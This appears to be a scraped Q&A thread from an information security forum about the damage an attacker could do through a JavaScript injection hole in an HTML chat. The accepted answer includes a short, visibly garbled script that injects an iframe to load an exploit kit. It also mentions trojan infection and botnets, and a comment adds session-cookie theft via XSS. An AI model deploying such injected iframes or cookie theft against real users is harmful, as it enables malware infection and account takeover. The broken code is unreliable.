Information Security Stack Exchange is a question and answer site for information security professionals. Join them; it only takes a minute:

Sign up
Here's how it works:
  1. Anybody can ask a question
  2. Anybody can answer
  3. The best answers are voted up and rise to the top

For an online chat that allows basic HTML, what happens if they leave an open way for a potential hacker to execute javascript on everyone who is in the chat?
What is the worst thing they could do?

share|improve this question
up vote 4 down vote accepted

Create new iframe and load exploit kit inside iframe.

<script language="JavaScript" type="text/javascript">
ifrm = document.createElement("IFRAME");
   ifrm.setAttribute("src", ""); = 640+"px"; = 480+"px";

Infect users with trojan horses , use them as bots, steal their money etc...

share|improve this answer
They could also do some XSS and steal their cookie(s) on that domain (which should hopefully only have their sessionID, but could still be dangerous). You could also go for "pranks" and play mysterious music, waste bandwidth, slow down their computer considerably, and scare them. – Vreality Jun 2 '13 at 0:09
Yeah, any javascript holes are very bad. Can totally be exploited as you explained. – yentup Jun 3 '13 at 5:44

Your Answer


By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.